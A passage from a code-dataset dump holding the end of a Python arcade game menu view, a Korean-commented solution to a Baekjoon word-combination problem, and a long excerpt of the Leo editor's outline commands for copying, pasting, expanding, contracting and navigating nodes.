anchor_x=\"center_x\",\n                    anchor_y=\"center_y\",\n                    child=self.v_box)\n            )\n\n    def on_show_view(self):\n        \"\"\" Called when switching to this view\"\"\"\n        arcade.set_background_color(arcade.color.GRAY)\n        \n\n    def on_hide_view(self):\n        self._ui_manager.disable()\n        return super().on_hide_view()\n\n    def on_draw(self):\n        \"\"\" Draw the menu \"\"\"\n        self.clear()\n\n        self._ui_manager.draw()\n\n    def _create_battle(self, event):\n        self._game_loop.create_battle()\n\n    def _create_unit(self, event):\n        pass\n        #self._game_loop.create_unit()\n\n    def _exit_game(self, event):\n        self._game_loop.exit()","repo_name":"rougesteelproject/arcade-fighting-game","sub_path":"arcade_view_classes/main_menu.py","file_name":"main_menu.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10235154786","text":"'''\n< 가르침 >\nhttps://www.acmicpc.net/problem/1062\n문제)\n- K개의 글자만 안다.\n- 남극의 단어는 \"anta\"으로 시작 ~ \"tica\"로 끝난다.\n- 남극언어에 단어는 N개 밖에 없다고 가정\n- 학생들이 읽을 수 있는 단어의 최댓값?\n입력)\n- 1     : 단어의 개수N 아는 글자K\n- 2[N]  : N개의 남극단어\n출력)\nK개의 글자를 알때 읽을수 있는 단어 개수의 최댓값?\n'''\nfrom itertools import combinations\nimport sys\nN, K = map(int, input().split())\nfirst = set(['a', 'c', 'i', 'n', 't'])\nwords = [set(input().rstrip()[4:-4]) - first for _ in range(N)]\nremain = set(chr(i) for i in range(ord('a'), ord('z') + 1)) - first\n\nif K < 5: print(0); exit()\nelif K == 26: print(N); exit()\n\nans = 0\nfor i in combinations(remain, K-5):\n    readcnt = 0\n    for word in words:\n        # 단어 - 읽을수있는 단어 : 0이아니면 못읽음\n        if word - set(i): continue\n        readcnt += 1\n    ans = max(readcnt, ans)\n    \nprint(ans)\n\n'''\npypy ❌\npython ❌\n\n실수 set(i) : combinations을 set해도 내부 원소는 tuple이다\n'''","repo_name":"ByeonghwiJeong/Algorithm_Study","sub_path":"05_Study/23_02/0204_4-F_1062_2.py","file_name":"0204_4-F_1062_2.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8152067201","text":"#@+leo-ver=5-thin\n#@+node:ekr.20171124080430.1: * @file ../commands/commanderOutlineCommands.py\n\"\"\"Outline commands that used to be defined in leoCommands.py\"\"\"\n#@+<< commanderOutlineCommands imports & annotations >>\n#@+node:ekr.20220826123551.1: ** << commanderOutlineCommands imports & annotations >>\nfrom __future__ import annotations\nfrom collections import defaultdict\nfrom collections.abc import Callable\nimport xml.etree.ElementTree as ElementTree\nimport json\nimport time\nfrom typing import Any, Generator, Optional, TYPE_CHECKING\nfrom leo.core import leoGlobals as g\nfrom leo.core import leoNodes\nfrom leo.core import leoFileCommands\n\nif TYPE_CHECKING:  # pragma: no cover\n    from leo.core.leoCommands import Commands as Cmdr\n    from leo.core.leoGui import LeoKeyEvent as Event\n    from leo.core.leoNodes import Position, VNode\n#@-<< commanderOutlineCommands imports & annotations >>\n\n#@+others\n#@+node:ekr.20031218072017.1548: ** c_oc.Cut & Paste Outlines\n#@+node:ekr.20031218072017.1550: *3* c_oc.copyOutline\n@g.commander_command('copy-node')\ndef copyOutline(self: Cmdr, event: Event = None) -> str:\n    \"\"\"Copy the selected outline to the clipboard.\"\"\"\n    # Copying an outline has no undo consequences.\n    c = self\n    c.endEditing()\n    s = c.fileCommands.outline_to_clipboard_string()\n    g.app.paste_c = c\n    if g.app.inBridge:\n        return s\n    g.app.gui.replaceClipboardWith(s)\n    return s\n#@+node:ekr.20220314071523.1: *3* c_oc.copyOutlineAsJson & helpers\n@g.commander_command('copy-node-as-json')\ndef copyOutlineAsJSON(self: Cmdr, event: Event = None) -> Optional[str]:\n    \"\"\"Copy the selected outline as JSON to the clipboard\"\"\"\n    # Copying an outline has no undo consequences.\n    c = self\n    c.endEditing()\n    s = c.fileCommands.outline_to_clipboard_json_string()\n    g.app.paste_c = c\n    if g.app.inBridge:\n        return s\n    g.app.gui.replaceClipboardWith(s)\n    return None\n#@+node:ekr.20031218072017.1549: *3* c_oc.cutOutline\n@g.commander_command('cut-node')\ndef cutOutline(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Delete the selected outline and send it to the clipboard.\"\"\"\n    c = self\n    if c.canDeleteHeadline():\n        c.copyOutline()\n        c.deleteOutline(op_name=\"Cut Node\")\n        c.recolor()\n#@+node:ekr.20031218072017.1551: *3* c_oc.pasteOutline\n@g.commander_command('paste-node')\ndef pasteOutline(\n    self: Cmdr,\n    event: Event = None,\n    s: str = None,\n    undoFlag: bool = True,  # A hack for abbrev.paste_tree.\n) -> Optional[Position]:\n    \"\"\"\n    Paste an outline into the present outline from the clipboard.\n    Nodes do *not* retain their original identify.\n    \"\"\"\n    c = self\n    if s is None:\n        s = g.app.gui.getTextFromClipboard()\n    c.endEditing()\n    if not s or not c.canPasteOutline(s):\n        return None  # This should never happen.\n    isLeo = s.lstrip().startswith(\"{\") or g.match(s, 0, g.app.prolog_prefix_string)\n    if not isLeo:\n        return None\n    # Get *position* to be pasted.\n    pasted = c.fileCommands.getLeoOutlineFromClipboard(s)\n    if not pasted:\n        # Leo no longer supports MORE outlines. Use import-MORE-files instead.\n        return None\n    # Validate.\n    errors = c.checkOutline()\n    if errors > 0:\n        return None\n    # Handle the \"before\" data for undo.\n    if undoFlag:\n        undoData = c.undoer.beforeInsertNode(c.p,\n            pasteAsClone=False,\n            copiedBunchList=[],\n        )\n    # Paste the node into the outline.\n    c.selectPosition(pasted)\n    pasted.setDirty()\n    c.setChanged()\n    back = pasted.back()\n    if back and back.hasChildren() and back.isExpanded():\n        pasted.moveToNthChildOf(back, 0)\n    # Finish the command.\n    if undoFlag:\n        c.undoer.afterInsertNode(pasted, 'Paste Node', undoData)\n    c.redraw(pasted)\n    c.recolor()\n    return pasted\n#@+node:EKR.20040610130943: *3* c_oc.pasteOutlineRetainingClones & helpers\n@g.commander_command('paste-retaining-clones')\ndef pasteOutlineRetainingClones(\n    self: Cmdr, event: Event = None, s: str = None,\n) -> Optional[Position]:\n    \"\"\"\n    Paste an outline into the present outline from the clipboard.\n    Nodes *retain* their original identify.\n    \"\"\"\n    c = self\n    if s is None:\n        s = g.app.gui.getTextFromClipboard()\n    c.endEditing()\n    if not s or not c.canPasteOutline(s):\n        return None  # This should never happen.\n    # Get *position* to be pasted.\n    pasted = c.fileCommands.getLeoOutlineFromClipboardRetainingClones(s)\n    if not pasted:\n        # Leo no longer supports MORE outlines. Use import-MORE-files instead.\n        return None\n    # Validate.\n    errors = c.checkOutline()\n    if errors > 0:\n        return None\n    # Handle the \"before\" data for undo.\n    if True:  ### undoFlag:\n        vnodeInfoDict = computeVnodeInfoDict(c)\n        undoData = c.undoer.beforeInsertNode(c.p,\n            pasteAsClone=True,\n            copiedBunchList=computeCopiedBunchList(c, pasted, vnodeInfoDict),\n        )\n    # Paste the node into the outline.\n    c.selectPosition(pasted)\n    pasted.setDirty()\n    c.setChanged()\n    back = pasted.back()\n    if back and back.hasChildren() and back.isExpanded():\n        pasted.moveToNthChildOf(back, 0)\n        pasted.setDirty()\n    # Set dirty bits for ancestors of *all* pasted nodes.\n    for p in pasted.self_and_subtree():\n        p.setAllAncestorAtFileNodesDirty()\n    # Finish the command.\n    if True:  ### undoFlag:\n        c.undoer.afterInsertNode(pasted, 'Paste As Clone', undoData)\n    c.redraw(pasted)\n    c.recolor()\n    return pasted\n#@+node:ekr.20050418084539.2: *4* def computeCopiedBunchList\ndef computeCopiedBunchList(\n    c: Cmdr,\n    pasted: Position,\n    vnodeInfoDict: dict[VNode, Any],\n) -> list[Any]:\n    \"\"\"Create a dict containing only copied vnodes.\"\"\"\n    d = {}\n    for p in pasted.self_and_subtree(copy=False):\n        d[p.v] = p.v\n    aList = []\n    for v in vnodeInfoDict:\n        if d.get(v):\n            bunch = vnodeInfoDict.get(v)\n            aList.append(bunch)\n    return aList\n#@+node:ekr.20050418084539: *4* def computeVnodeInfoDict\ndef computeVnodeInfoDict(c: Cmdr) -> dict[VNode, Any]:\n    \"\"\"\n    We don't know yet which nodes will be affected by the paste, so we remember\n    everything. This is expensive, but foolproof.\n\n    The alternative is to try to remember the 'before' values of nodes in the\n    FileCommands read logic. Several experiments failed, and the code is very ugly.\n    In short, it seems wise to do things the foolproof way.\n    \"\"\"\n    d = {}\n    for v in c.all_unique_nodes():\n        if v not in d:\n            d[v] = g.Bunch(v=v, head=v.h, body=v.b)\n    return d\n#@+node:vitalije.20200529105105.1: *3* c_oc.pasteAsTemplate\n@g.commander_command('paste-as-template')\ndef pasteAsTemplate(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Paste as template clones only nodes that were already clones\"\"\"\n    c = self\n    p = c.p\n    s = g.app.gui.getTextFromClipboard()\n    if not s or not c.canPasteOutline(s):\n        return  # This should never happen.\n    isJson = s.lstrip().startswith(\"{\")\n\n    # Define helpers.\n    #@+others\n    #@+node:vitalije.20200529112224.1: *4* skip_root\n    def skip_root(v: VNode) -> Generator:\n        \"\"\"\n        generates v nodes in the outline order\n        but skips a subtree of the node with root_gnx\n        \"\"\"\n        if v.gnx != root_gnx:\n            yield v\n            for ch in v.children:\n                yield from skip_root(ch)\n    #@+node:vitalije.20200529112459.1: *4* translate_gnx\n    def translate_gnx(gnx: str) -> str:\n        \"\"\"\n        allocates a new gnx for all nodes that\n        are not found outside copied tree\n        \"\"\"\n        if gnx in outside:\n            return gnx\n        return g.app.nodeIndices.computeNewIndex()\n    #@+node:vitalije.20200529115141.1: *4* viter\n    def viter(parent_gnx: str, xv: Any) -> Generator:\n        \"\"\"\n        iterates <v> nodes generating tuples:\n\n            (parent_gnx, child_gnx, headline, body)\n\n        skipping the descendants of already seen nodes.\n        \"\"\"\n\n        if not isJson:\n            chgnx = xv.attrib.get('t')\n        else:\n            chgnx = xv.get('gnx')\n\n        b = bodies[chgnx]\n        gnx = translation.get(chgnx)\n        if gnx in seen:\n            yield parent_gnx, gnx, heads.get(gnx), b\n        else:\n            seen.add(gnx)\n            if not isJson:\n                h = xv[0].text\n            else:\n                h = xv.get('vh', '')\n            heads[gnx] = h\n            yield parent_gnx, gnx, h, b\n            if not isJson:\n                for xch in xv[1:]:\n                    yield from viter(gnx, xch)\n            else:\n                if xv.get('children'):\n                    for xch in xv['children']:\n                        yield from viter(gnx, xch)\n\n    #@+node:vitalije.20200529114857.1: *4* getv\n    gnx2v = c.fileCommands.gnxDict\n    def getv(gnx: str) -> tuple[VNode, bool]:\n        \"\"\"\n        returns a pair (vnode, is_new) for the given gnx.\n        if node doesn't exist, creates a new one.\n        \"\"\"\n        v = gnx2v.get(gnx)\n        if v is None:\n            return leoNodes.VNode(c, gnx), True\n        return v, False\n    #@+node:vitalije.20200529115539.1: *4* do_paste (pasteAsTemplate)\n    def do_paste(vpar: Any, index: int) -> VNode:\n        \"\"\"\n        pastes a new node as a child of vpar at given index\n        \"\"\"\n        vpargnx = vpar.gnx\n        # the first node is inserted at the given index\n        # and the rest are just appended at parents children\n        # to achieve this we first create a generator object\n        rows = viter(vpargnx, xvelements[0])\n\n        # then we just take first tuple\n        pgnx, gnx, h, b = next(rows)\n\n        # create vnode\n        v, _ = getv(gnx)\n        v.h = h\n        v.b = b\n\n        # and finally insert it at the given index\n        vpar.children.insert(index, v)\n        v.parents.append(vpar)\n\n        pasted = v  # remember the first node as a return value\n\n        # now we iterate the rest of tuples\n        for pgnx, gnx, h, b in rows:\n\n            # get or create a child `v`\n            v, isNew = getv(gnx)\n            if isNew:\n                v.h = h\n                v.b = b\n                ua = uas.get(gnx)\n                if ua:\n                    v.unknownAttributes = ua\n            # get parent node `vpar`\n            vpar = getv(pgnx)[0]\n\n            # and link them\n            vpar.children.append(v)\n            v.parents.append(vpar)\n\n        return pasted\n    #@+node:vitalije.20200529120440.1: *4* undoHelper\n    def undoHelper() -> None:\n        v = vpar.children.pop(index)\n        v.parents.remove(vpar)\n        c.redraw(bunch.p)\n    #@+node:vitalije.20200529120537.1: *4* redoHelper\n    def redoHelper() -> None:\n        vpar.children.insert(index, pasted)\n        pasted.parents.append(vpar)\n        c.redraw(newp)\n    #@-others\n\n    xvelements: Any\n    xtelements: Any\n    uas: Any  # Possible bug?\n\n    x = leoFileCommands.FastRead(c, {})\n\n    if not isJson:\n        xroot = ElementTree.fromstring(s)\n        xvelements = xroot.find('vnodes')  # <v> elements.\n        xtelements = xroot.find('tnodes')  # <t> elements.\n        bodies, uas = x.scanTnodes(xtelements)\n        root_gnx = xvelements[0].attrib.get('t')  # the gnx of copied node\n    else:\n        xroot = json.loads(s)\n        xvelements = xroot.get('vnodes')  # <v> elements.\n        xtelements = xroot.get('tnodes')  # <t> elements.\n        bodies = x.scanJsonTnodes(xtelements)\n        # g.printObj(bodies, tag='bodies/gnx2body')\n\n        def addBody(node: Any) -> None:\n            if not hasattr(bodies, node['gnx']):\n                bodies[node['gnx']] = ''\n            if node.get('children'):\n                for child in node['children']:\n                    addBody(child)\n\n        # generate bodies for all possible nodes, not just non-empty bodies.\n        addBody(xvelements[0])\n        uas = defaultdict(dict)\n        uas.update(xroot.get('uas', {}))\n        root_gnx = xvelements[0].get('gnx')  # the gnx of copied node\n\n    # outside will contain gnxes of nodes that are outside the copied tree\n    outside = {x.gnx for x in skip_root(c.hiddenRootNode)}\n\n    # we generate new gnx for each node in the copied tree\n    translation = {x: translate_gnx(x) for x in bodies}\n\n    seen = set(outside)  # required for the treatment of local clones inside the copied tree\n\n    heads: dict[str, str] = {}\n\n    bunch = c.undoer.createCommonBunch(p)\n    #@+<< prepare destination data >>\n    #@+node:vitalije.20200529111500.1: *4* << prepare destination data >>\n    # destination data consists of\n    #    1. vpar --- parent v node that should receive pasted child\n    #    2. index --- at which pasted child will be\n    #    3. parStack --- a stack for creating new position of the pasted node\n    #\n    # the new position will be:  Position(vpar.children[index], index, parStack)\n    # but it can't be calculated yet, before actual paste is done\n    if p.isExpanded():\n        # paste as a first child of current position\n        vpar = p.v\n        index = 0\n        parStack = p.stack + [(p.v, p._childIndex)]\n    else:\n        # paste after the current position\n        parStack = p.stack\n        vpar = p.stack[-1][0] if p.stack else c.hiddenRootNode\n        index = p._childIndex + 1\n\n    #@-<< prepare destination data >>\n\n    pasted = do_paste(vpar, index)\n\n    newp = leoNodes.Position(pasted, index, parStack)\n\n    bunch.undoHelper = undoHelper\n    bunch.redoHelper = redoHelper\n    bunch.undoType = 'paste-retaining-outside-clones'\n\n    newp.setDirty()\n    c.undoer.pushBead(bunch)\n    c.redraw(newp)\n#@+node:ekr.20040412060927: ** c_oc.dumpOutline\n@g.commander_command('dump-outline')\ndef dumpOutline(self: Cmdr, event: Event = None) -> None:\n    \"\"\" Dump all nodes in the outline.\"\"\"\n    c = self\n    seen = {}\n    print('')\n    print('=' * 40)\n    v = c.hiddenRootNode\n    v.dump()\n    seen[v] = True\n    for p in c.all_positions():\n        if p.v not in seen:\n            seen[p.v] = True\n            p.v.dump()\n#@+node:ekr.20031218072017.2898: ** c_oc.Expand & contract commands\n#@+node:ekr.20031218072017.2900: *3* c_oc.contract-all\n@g.commander_command('contract-all')\ndef contractAllHeadlinesCommand(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Contract all nodes in the outline.\"\"\"\n    # The helper does all the work.\n    c = self\n    c.contractAllHeadlines()\n    c.redraw()\n#@+node:ekr.20080819075811.3: *3* c_oc.contractAllOtherNodes & helper\n@g.commander_command('contract-all-other-nodes')\ndef contractAllOtherNodes(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Contract all nodes except those needed to make the\n    presently selected node visible.\n    \"\"\"\n    c = self\n    leaveOpen = c.p\n    for p in c.rootPosition().self_and_siblings():\n        contractIfNotCurrent(c, p, leaveOpen)\n    c.redraw()\n#@+node:ekr.20080819075811.7: *4* def contractIfNotCurrent\ndef contractIfNotCurrent(c: Cmdr, p: Position, leaveOpen: Any) -> None:\n    if p == leaveOpen or not p.isAncestorOf(leaveOpen):\n        p.contract()\n    for child in p.children():\n        if child != leaveOpen and child.isAncestorOf(leaveOpen):\n            contractIfNotCurrent(c, child, leaveOpen)\n        else:\n            for p2 in child.self_and_subtree():\n                p2.contract()\n#@+node:ekr.20200824130837.1: *3* c_oc.contractAllSubheads (new)\n@g.commander_command('contract-all-subheads')\ndef contractAllSubheads(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Contract all children of the presently selected node.\"\"\"\n    c, p = self, self.p\n    if not p:\n        return\n    child = p.firstChild()\n    c.contractSubtree(p)\n    while child:\n        c.contractSubtree(child)\n        child = child.next()\n    c.redraw(p)\n#@+node:ekr.20031218072017.2901: *3* c_oc.contractNode\n@g.commander_command('contract-node')\ndef contractNode(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Contract the presently selected node.\"\"\"\n    c = self\n    p = c.p\n    c.endEditing()\n    p.contract()\n    c.redraw_after_contract(p)\n    c.selectPosition(p)\n#@+node:ekr.20040930064232: *3* c_oc.contractNodeOrGoToParent\n@g.commander_command('contract-or-go-left')\ndef contractNodeOrGoToParent(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Simulate the left Arrow Key in folder of Windows Explorer.\"\"\"\n    c, cc, p = self, self.chapterController, self.p\n    parent = p.parent()\n    redraw = False\n    # Bug fix: 2016/04/19: test p.v.isExpanded().\n    if p.hasChildren() and (p.v.isExpanded() or p.isExpanded()):\n        c.contractNode()\n    elif parent and parent.isVisible(c):\n        # Contract all children first.\n        if c.collapse_on_lt_arrow:\n            for child in parent.children():\n                if child.isExpanded():\n                    child.contract()\n                    if child.hasChildren():\n                        redraw = True\n        if cc and cc.inChapter() and parent.h.startswith('@chapter '):\n            pass\n        else:\n            c.goToParent()\n    if redraw:\n        # A *child* should be collapsed.  Do a *full* redraw.\n        c.redraw()\n#@+node:ekr.20031218072017.2902: *3* c_oc.contractParent\n@g.commander_command('contract-parent')\ndef contractParent(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Contract the parent of the presently selected node.\"\"\"\n    c = self\n    c.endEditing()\n    p = c.p\n    parent = p.parent()\n    if not parent:\n        return\n    parent.contract()\n    c.redraw_after_contract(p=parent)\n#@+node:ekr.20031218072017.2903: *3* c_oc.expandAllHeadlines\n@g.commander_command('expand-all')\ndef expandAllHeadlines(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand all headlines.\n    Warning: this can take a long time for large outlines.\"\"\"\n    c = self\n    c.endEditing()\n    p0 = c.p\n    p = c.rootPosition()\n    while p:\n        c.expandSubtree(p)\n        p.moveToNext()\n    c.redraw_after_expand(p0)  # Keep focus on original position\n    c.expansionLevel = 0  # Reset expansion level.\n#@+node:ekr.20031218072017.2904: *3* c_oc.expandAllSubheads\n@g.commander_command('expand-all-subheads')\ndef expandAllSubheads(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand all children of the presently selected node.\"\"\"\n    c, p = self, self.p\n    if not p:\n        return\n    child = p.firstChild()\n    c.expandSubtree(p)\n    while child:\n        c.expandSubtree(child)\n        child = child.next()\n    c.redraw(p)\n#@+node:ekr.20031218072017.2905: *3* c_oc.expandLevel1..9\n@g.commander_command('expand-to-level-1')\ndef expandLevel1(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the outline to level 1\"\"\"\n    self.expandToLevel(1)\n\n@g.commander_command('expand-to-level-2')\ndef expandLevel2(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the outline to level 2\"\"\"\n    self.expandToLevel(2)\n\n@g.commander_command('expand-to-level-3')\ndef expandLevel3(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the outline to level 3\"\"\"\n    self.expandToLevel(3)\n\n@g.commander_command('expand-to-level-4')\ndef expandLevel4(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the outline to level 4\"\"\"\n    self.expandToLevel(4)\n\n@g.commander_command('expand-to-level-5')\ndef expandLevel5(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the outline to level 5\"\"\"\n    self.expandToLevel(5)\n\n@g.commander_command('expand-to-level-6')\ndef expandLevel6(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the outline to level 6\"\"\"\n    self.expandToLevel(6)\n\n@g.commander_command('expand-to-level-7')\ndef expandLevel7(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the outline to level 7\"\"\"\n    self.expandToLevel(7)\n\n@g.commander_command('expand-to-level-8')\ndef expandLevel8(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the outline to level 8\"\"\"\n    self.expandToLevel(8)\n\n@g.commander_command('expand-to-level-9')\ndef expandLevel9(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the outline to level 9\"\"\"\n    self.expandToLevel(9)\n#@+node:ekr.20031218072017.2906: *3* c_oc.expandNextLevel\n@g.commander_command('expand-next-level')\ndef expandNextLevel(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Increase the expansion level of the outline and\n    Expand all nodes at that level or lower.\n    \"\"\"\n    c = self\n    # Expansion levels are now local to a particular tree.\n    if c.expansionNode != c.p:\n        c.expansionLevel = 1\n        c.expansionNode = c.p.copy()\n    self.expandToLevel(c.expansionLevel + 1)\n#@+node:ekr.20031218072017.2907: *3* c_oc.expandNode\n@g.commander_command('expand-node')\ndef expandNode(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Expand the presently selected node.\"\"\"\n    c = self\n    p = c.p\n    c.endEditing()\n    p.expand()\n    c.redraw_after_expand(p)\n    c.selectPosition(p)\n#@+node:ekr.20040930064232.1: *3* c_oc.expandNodeAndGoToFirstChild\n@g.commander_command('expand-and-go-right')\ndef expandNodeAndGoToFirstChild(self: Cmdr, event: Event = None) -> None:\n    \"\"\"If a node has children, expand it if needed and go to the first child.\"\"\"\n    c, p = self, self.p\n    c.endEditing()\n    if p.hasChildren():\n        if not p.isExpanded():\n            c.expandNode()\n        c.selectPosition(p.firstChild())\n    c.treeFocusHelper()\n#@+node:ekr.20171125082744.1: *3* c_oc.expandNodeOrGoToFirstChild\n@g.commander_command('expand-or-go-right')\ndef expandNodeOrGoToFirstChild(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Simulate the Right Arrow Key in folder of Windows Explorer.\n    if c.p has no children, do nothing.\n    Otherwise, if c.p is expanded, select the first child.\n    Otherwise, expand c.p.\n    \"\"\"\n    c, p = self, self.p\n    c.endEditing()\n    if p.hasChildren():\n        if p.isExpanded():\n            c.redraw_after_expand(p.firstChild())\n        else:\n            c.expandNode()\n#@+node:ekr.20060928062431: *3* c_oc.expandOnlyAncestorsOfNode\n@g.commander_command('expand-ancestors-only')\ndef expandOnlyAncestorsOfNode(self: Cmdr, event: Event = None, p: Position = None) -> None:\n    \"\"\"Contract all nodes except ancestors of the selected node.\"\"\"\n    c = self\n    level = 1\n    if p:\n        c.selectPosition(p)  # 2013/12/25\n    root = c.p\n    for p in c.all_unique_positions():\n        p.v.expandedPositions = []\n        p.v.contract()\n    for p in root.parents():\n        p.expand()\n        level += 1\n    c.expansionLevel = level  # Reset expansion level.\n#@+node:ekr.20031218072017.2908: *3* c_oc.expandPrevLevel\n@g.commander_command('expand-prev-level')\ndef expandPrevLevel(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Decrease the expansion level of the outline and\n    Expand all nodes at that level or lower.\"\"\"\n    c = self\n    # Expansion levels are now local to a particular tree.\n    if c.expansionNode != c.p:\n        c.expansionLevel = 1\n        c.expansionNode = c.p.copy()\n    self.expandToLevel(max(1, c.expansionLevel - 1))\n#@+node:ekr.20171124081846.1: ** c_oc.fullCheckOutline\n@g.commander_command('check-outline')\ndef fullCheckOutline(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Do a full check of the consistency of a .leo file.\"\"\"\n    c = self\n    t1 = time.process_time()\n    errors = c.checkOutline()\n    t2 = time.time()\n    g.es_print(f\"check-outline: {errors} error{g.plural(errors)} in {t2 - t1:4.2f} sec.\")\n#@+node:ekr.20031218072017.2913: ** c_oc.Goto commands\n#@+node:ekr.20071213123942: *3* c_oc.findNextClone\n@g.commander_command('find-next-clone')\ndef findNextClone(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the next cloned node.\"\"\"\n    c, p = self, self.p\n    cc = c.chapterController\n    if not p:\n        return\n    if p.isCloned():\n        p.moveToThreadNext()\n    flag = False\n    while p:\n        if p.isCloned():\n            flag = True\n            break\n        else:\n            p.moveToThreadNext()\n    if flag:\n        if cc:\n            cc.selectChapterByName('main')\n        c.selectPosition(p)\n        c.redraw_after_select(p)\n    else:\n        g.blue('no more clones')\n#@+node:ekr.20031218072017.1628: *3* c_oc.goNextVisitedNode\n@g.commander_command('go-forward')\ndef goNextVisitedNode(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the next visited node.\"\"\"\n    c = self\n    p = c.nodeHistory.goNext()\n    if p:\n        c.nodeHistory.skipBeadUpdate = True\n        try:\n            c.selectPosition(p)\n        finally:\n            c.nodeHistory.skipBeadUpdate = False\n            c.redraw_after_select(p)\n#@+node:ekr.20031218072017.1627: *3* c_oc.goPrevVisitedNode\n@g.commander_command('go-back')\ndef goPrevVisitedNode(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the previously visited node.\"\"\"\n    c = self\n    p = c.nodeHistory.goPrev()\n    if p:\n        c.nodeHistory.skipBeadUpdate = True\n        try:\n            c.selectPosition(p)\n        finally:\n            c.nodeHistory.skipBeadUpdate = False\n            c.redraw_after_select(p)\n#@+node:ekr.20031218072017.2914: *3* c_oc.goToFirstNode\n@g.commander_command('goto-first-node')\ndef goToFirstNode(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Select the first node of the entire outline.\n    Or the first visible node if Leo is hoisted or within a chapter.\n    \"\"\"\n    c = self\n    p = c.rootPosition()\n    c.expandOnlyAncestorsOfNode(p=p)\n    c.redraw()\n#@+node:ekr.20051012092453: *3* c_oc.goToFirstSibling\n@g.commander_command('goto-first-sibling')\ndef goToFirstSibling(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the first sibling of the selected node.\"\"\"\n    c, p = self, self.p\n    if p.hasBack():\n        while p.hasBack():\n            p.moveToBack()\n    c.treeSelectHelper(p)\n#@+node:ekr.20070615070925: *3* c_oc.goToFirstVisibleNode\n@g.commander_command('goto-first-visible-node')\ndef goToFirstVisibleNode(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the first visible node of the selected chapter or hoist.\"\"\"\n    c = self\n    p = c.firstVisible()\n    if p:\n        if c.sparse_goto_visible:\n            c.expandOnlyAncestorsOfNode(p=p)\n        else:\n            c.treeSelectHelper(p)\n        c.redraw()\n#@+node:ekr.20031218072017.2915: *3* c_oc.goToLastNode\n@g.commander_command('goto-last-node')\ndef goToLastNode(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the last node in the entire tree.\"\"\"\n    c = self\n    p = c.rootPosition()\n    while p and p.hasThreadNext():\n        p.moveToThreadNext()\n    c.expandOnlyAncestorsOfNode(p=p)\n    c.redraw()\n#@+node:ekr.20051012092847.1: *3* c_oc.goToLastSibling\n@g.commander_command('goto-last-sibling')\ndef goToLastSibling(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the last sibling of the selected node.\"\"\"\n    c, p = self, self.p\n    if p.hasNext():\n        while p.hasNext():\n            p.moveToNext()\n    c.treeSelectHelper(p)\n#@+node:ekr.20050711153537: *3* c_oc.goToLastVisibleNode\n@g.commander_command('goto-last-visible-node')\ndef goToLastVisibleNode(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the last visible node of selected chapter or hoist.\"\"\"\n    c = self\n    p = c.lastVisible()\n    if p:\n        if c.sparse_goto_visible:\n            c.expandOnlyAncestorsOfNode(p=p)\n        else:\n            c.treeSelectHelper(p)\n        c.redraw()\n#@+node:ekr.20031218072017.2916: *3* c_oc.goToNextClone\n@g.commander_command('goto-next-clone')\ndef goToNextClone(self: Cmdr, event: Event = None) -> None:\n    \"\"\"\n    Select the next node that is a clone of the selected node.\n    If the selected node is not a clone, do find-next-clone.\n    \"\"\"\n    c, p = self, self.p\n    cc = c.chapterController\n    if not p:\n        return\n    if not p.isCloned():\n        c.findNextClone()\n        return\n    v = p.v\n    p.moveToThreadNext()\n    wrapped = False\n    while 1:\n        if p and p.v == v:\n            break\n        elif p:\n            p.moveToThreadNext()\n        elif wrapped:\n            break\n        else:\n            wrapped = True\n            p = c.rootPosition()\n    if p:\n        c.expandAllAncestors(p)\n        if cc:\n            # #252: goto-next clone activate chapter.\n            chapter = cc.getSelectedChapter()\n            old_name = chapter and chapter.name\n            new_name = cc.findChapterNameForPosition(p)\n            if new_name != old_name:\n                cc.selectChapterByName(new_name)\n        # Always do a full redraw.\n        c.redraw(p)\n    else:\n        g.blue('done')\n#@+node:ekr.20031218072017.2917: *3* c_oc.goToNextDirtyHeadline\n@g.commander_command('goto-next-changed')\ndef goToNextDirtyHeadline(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the node that is marked as changed.\"\"\"\n    c, p = self, self.p\n    if not p:\n        return\n    p.moveToThreadNext()\n    wrapped = False\n    while 1:\n        if p and p.isDirty():\n            break\n        elif p:\n            p.moveToThreadNext()\n        elif wrapped:\n            break\n        else:\n            wrapped = True\n            p = c.rootPosition()\n    if not p:\n        g.blue('done')\n    c.treeSelectHelper(p)  # Sets focus.\n#@+node:ekr.20031218072017.2918: *3* c_oc.goToNextMarkedHeadline\n@g.commander_command('goto-next-marked')\ndef goToNextMarkedHeadline(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Select the next marked 